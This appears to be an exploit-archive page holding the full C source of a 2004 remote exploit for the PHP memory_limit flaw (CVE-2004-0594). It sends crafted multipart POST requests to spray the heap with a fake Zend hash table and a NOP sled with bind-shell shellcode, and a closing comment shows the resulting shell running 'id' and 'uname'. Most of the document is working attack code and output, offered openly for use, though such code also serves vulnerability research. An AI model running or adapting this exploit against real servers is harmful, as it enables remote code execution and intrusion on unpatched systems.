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phpnolimit.c

phpnolimit.c
Posted Dec 11, 2004
Authored by Gyan Chawdhary

Exploit that makes use of the PHP memory limit vulnerability discovered in July of 2004.

tags | exploit, php
advisories | CVE-2004-0594
MD5 | 7aadceaf9298a2f92f0e123e7baaf4af

phpnolimit.c

Change Mirror Download
/* Remote exploit for the php memory_limit vulnerability found by Stefan 
* Esser in php 4 (<= 4.3.7) and php 5 (<= 5.0.0RC3).
*
* by Gyan Chawdhary (gunnu45@hotmail.com)
* (felinemenace.org/~gyan)
*
* Greets
* S.Esser for the vuln and mlxdebug.tgz, everything in the code is based on it.
* scrippie, gera, riq, jaguar, girish, n2n ...
*
* Vulnerability:
* The issue is well documented in the advisory.
*
* Exploitation:
* I cud not find a generic way to free a 40 byte chunk which could be later
* used by ALLOC_HASHTABLE. The exploit will construct a fake zend hash table
* which will be sent in the first request. The second request will kick in the
* memory interuption after allocating space for the hashtable and before it is
* initalized. The memory it will use for this allocation will contain the data
* from our previous request which includes the pDestructor pointer pointing to
* our nop+shellcode which is a part of the second request. This happens in the
* zend_hash_destory function.
*
* PS - The exploit is ugly, coded to test the vuln. If anyone knows the trick
* for 40 byte free() then plz drop me a mail. Tested on RH 8 php 4.3.7,
* Apache 2.0.49 with register_globals = On
*
* Gyan
*
*
*/

#include <stdio.h>
#include <string.h>
#include <unistd.h>

#include <sys/socket.h>
#include <sys/types.h>
#include <netinet/in.h>

#define IP "127.0.0.1"
#define PORT 80
int sock;
struct sockaddr_in s;

char request1[]=
"POST /info.php?a[1]=test HTTP/1.0"
"Host: doesnotreallymatter\r\n"
"User-Agent: mlxdebug\r\n"
"Accept: text/html\r\n"
"Connection: close\r\n"
"Pragma: no-cache\r\n"
"Cache-Control: no-cache\r\n"
"Content-Type: multipart/form-data; boundary=------------ \r\n BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB \r\n";

char request2[]=
"---------------264122487026375\r\n"
"Content-Length: 472\r\n"
"\r\n"
"-----------------------------264122487026375\r\n"
"Content-Disposition: form-data; name=\"a[][]\"\r\n"
"\r\n"
"TESTTESTTESTTESTTESTTESTTESTTESTTESTTES \r\n"
"\r\n"
"-----------------------------264122487026375--\r\n";

char request3[]=
"POST /info.php?a[1]=test HTTP/1.0"
"Host: doesnotreallymatter\r\n"
"User-Agent: mlxdebug\r\n"
"Accept: text/html\r\n"
"Connection: close\r\n"
"Pragma: no-cache\r\n"
"Cache-Control: no-cache\r\n"
"Content-Type: multipart/form-data; boundary=-------------";

char request4[]=
"---------------264122487026375\r\n"
"Content-Length: 472\r\n"
"\r\n"
"-----------------------------264122487026375\r\n"
"Content-Disposition: form-data; name=\"a[][]\"\r\n"
"\r\n"
"TESTTESTTESTTESTTESTTESTTESTTESTTESTTES \r\n"
"-----------------------------264122487026375--\r\n";

/*Ripped shellcode. Runs on port 36864*/
char shell[]=
"\xeb\x72\x5e\x29\xc0\x89\x46\x10\x40\x89\xc3\x89\x46\x0c"
"\x40\x89\x46\x08\x8d\x4e\x08\xb0\x66\xcd\x80\x43\xc6\x46"
"\x10\x10\x66\x89\x5e\x14\x88\x46\x08\x29\xc0\x89\xc2\x89"
"\x46\x18\xb0\x90\x66\x89\x46\x16\x8d\x4e\x14\x89\x4e\x0c"
"\x8d\x4e\x08\xb0\x66\xcd\x80\x89\x5e\x0c\x43\x43\xb0\x66"
"\xcd\x80\x89\x56\x0c\x89\x56\x10\xb0\x66\x43\xcd\x80\x86"
"\xc3\xb0\x3f\x29\xc9\xcd\x80\xb0\x3f\x41\xcd\x80\xb0\x3f"
"\x41\xcd\x80\x88\x56\x07\x89\x76\x0c\x87\xf3\x8d\x4b\x0c"
"\xb0\x0b\xcd\x80\xe8\x89\xff\xff\xff/bin/sh";


void xp_connect(char *ip)
{
char buffer[1024];
char temp[1024];
int tmp;

s.sin_family = AF_INET;
s.sin_port = htons(PORT);
s.sin_addr.s_addr = inet_addr(ip);

if ((sock = socket(AF_INET, SOCK_STREAM, 0)) < 0)
{
printf("Cannot create socket\n");
exit(-1);
}

if((connect(sock,(struct sockaddr *)&s,sizeof(struct sockaddr))) < 0)
{
printf("Cannot connect()\n");
exit(-1);
}
}

void xp_write(char *data)
{

if(write (sock, data, strlen(data)) < 0)
{
printf("write() failed\n");
exit(-1);
}
}

void xp_receive()
{
int tmp;
char buffer[1024*2];

if ( (tmp = read(sock, buffer, sizeof(buffer))) <= 0)
{
printf("read() failed\n");
exit(-1);
}
}

char fill[] = " \r\n %s \r\n ";

/*This function builds the main request. In destroy_uploaded_files_hash we
* need to pass zend_hash_apply to reach zend_hash_destroy.
* We set
* 1) ht->nApplyCount to 0x02020202 to pass HASH_PROTECT_RECURSION
* 2) p->pListNext = 0x00000000 to exit out of zend_hash_apply
* 3) ht->pDestructor = addr to nop+shellcode
* 0x402c22bc <zend_hash_destroy+184>: sub $0xc,%esp
* 0x402c22bf <zend_hash_destroy+187>: pushl 0x8(%esi)
* 0x402c22c2 <zend_hash_destroy+190>: call *%eax
* 0x402c22c4 <zend_hash_destroy+192>: add $0x10,%esp
*
* $eax = ht->pDestructor
*/

void build1(int size, int count)
{
char *p1, *p2;
char *b1, *b2;
int i;
int pot = 0xffffffff;
int got = 0x41414141;
int bot = 0x0818ef29; //0x0818ef78;//0x08189870; //0x402b6c08;
int sot = 0x02020202;
int ret = 0x081887a8;

b1 = (char *)malloc(size-8);
p1 = b1;

for (i=0; i<size-8; i+=36)
{
*( (int **)p1 ) = (int *)( pot );
p1+=4;
*( (int **)p1 ) = (int *)( got );
p1+=4;
*( (int **)p1 ) = (int *)( bot );
p1+=4;
*( (int **)p1 ) = (int *)( ret );
p1+=4;
*( (int **)p1 ) = (int *)( bot );
p1+=4;
*( (int **)p1 ) = (int *)( got );
p1+=4;
*( (int **)p1 ) = (int *)( bot );
p1+=4;
*( (int **)p1 ) = (int *)( sot );
p1+=4;
}

b2 = (char *)malloc(size+1);
p2 = b2;

sprintf(p2, fill, b1);

for(i=0; i<count; i++)
xp_write(b2);
}

/*Test function for resetting php memory , does not work properly with
* php_normalize_heap function */
void build2(int size, int count)
{
char *p1, *p2;
char *b1, *b2;
int i;
b1 = (char *)malloc(size-8);
p1 = b1;
memset(p1, '\x42', size-8);
b2 = (char *)malloc(size+1);
p2 = b2;
sprintf(p2, fill, b1);
for(i=0; i<count; i++)
xp_write(b2);
}

/*TODO*/
char *php_normalize_heap()
{
return;
}

/*Builds our shellcode with NOP's and the mem interuption request*/

void build3(int size, int count)
{
char *p1, *p2;
char *b1, *b2;
int i;
int pot = 0x90909090;

b1 = (char *)malloc(size-8);
p1 = b1;

for (i=0; i<size-8-strlen(shell); i+=4) {
*( (int **)p1 ) = (int *)( pot );
p1+=4;
}
p1 = b1;

p1+= size - 8 - strlen(shell);
strncpy(p1, shell, strlen(shell));

b2 = (char *)malloc(size+1);
p2 = b2;

sprintf(p2, fill, b1);

for(i=0; i<count; i++)
xp_write(b2);
}



void exploit()
{

int i;

printf("Stage 1: Filling mem with bad pdestructor ... ");
for (i=0; i< 5; i++)
{
xp_connect(IP);
xp_write(request1);
build1(5000, 1);
xp_write(request2);
close(sock);
}
printf("DONE\r\n");
printf("Stage 2: Triggering memory_limit now ... ");

xp_connect(IP);
xp_write(request3);
build3(8192, 255);
build3(7265, 1);
xp_write(request4);
printf("DONE\r\n");
printf("Shell on port 36864\r\n");

}

main()
{
/*No args, no vectors*/
exploit();
}

/*
* Using [][][][] arry its possible to exhaust mem for 1.3.* servers and
*trigger memlimit in _zval_copy_ctor after ALLOC_HASHTABLE
*
*
[root@localhost stuff]# ./cool
Stage 1: Filling mem with bad pdestructor ... DONE
Stage 2: Triggering mem_limit now ... DONE
Shell on port 36864
[root@localhost stuff]# telnet 127.0.0.1 36864
Trying 127.0.0.1...
Connected to localhost.localdomain (127.0.0.1).
Escape character is '^]'.
id;
uid=99(nobody) gid=4294967295 groups=4294967295
uname -a;
Linux localhost.localdomain 2.4.18-14 #1 Wed Sep 4 13:35:50 EDT 2002 i686 i686 i386 GNU/Linux
*/

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